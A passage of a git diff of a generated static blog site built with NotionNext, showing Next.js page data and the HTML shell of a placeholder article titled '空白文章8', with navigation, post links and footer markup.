-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-7"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/example-8.html b/article/example-8.html
index e247b1e37..22ed7fbeb 100644
--- a/article/example-8.html
+++ b/article/example-8.html
@@ -1,4 +1,4 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>空白文章8 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Python,健康"/><meta name="description" content="仅供列表展示、文章无内容"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="空白文章8 | Both Savage"/><meta property="og:description" content="仅供列表展示、文章无内容"/><meta property="og:url" content="https://bothsavage.github.io//article/example-8"/><meta property="og:image" content="https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=b4a852c3-8bab-43ef-b748-8dec9d0940f9&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="仅供列表展示、文章无内容"/><meta name="twitter:title" content="空白文章8 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">空白文章8</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-b4a852c38bab43efb7488dec9d0940f9"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 